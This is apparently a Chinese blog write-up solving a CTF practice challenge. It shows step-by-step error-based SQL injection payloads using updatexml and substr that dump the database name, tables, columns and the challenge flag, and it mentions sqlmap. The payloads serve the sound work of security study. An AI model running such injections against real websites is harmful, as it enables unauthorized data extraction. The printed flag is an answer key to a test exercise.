SWPUCTF 2021 新生赛error
本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20241125200051.png

尝试输入 ‘
发现是get传参
并且是字符型
Pasted image 20241125200158.png

使用报错注入
查当前数据库名
?id=%27 and updatexml(1,concat(‘~’,database(),’~’),3) %23
Pasted image 20241125201014.png

查表名
?id=%27 and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23
Pasted image 20241125201244.png

查字段
?id=%27 and updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’test_tb’),’~’),3) %23
Pasted image 20241125201413.png

查数据
?id=%27 and updatexml(1,concat(‘~’,(select group_concat(flag,id) from test_db.test_tb),’~’),3) %23
Pasted image 20241125201641.png

使用substr函数截取字段
?id=%27 and updatexml(1,concat(‘~’,(select substr(group_concat(flag,id),22,32) from test_db.test_tb),’~’),3) %23
Pasted image 20241125202321.png

拼接flag
NSSCTF{f655bfab-5e7f-40f2-8136-b3a5c08a7694}

或者使用sqlmap
启动指令:
python sqlmap.py -h
Pasted image 20241125202627.png

总结

报错注入
substr截取函数
sqlmap工具的使用

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇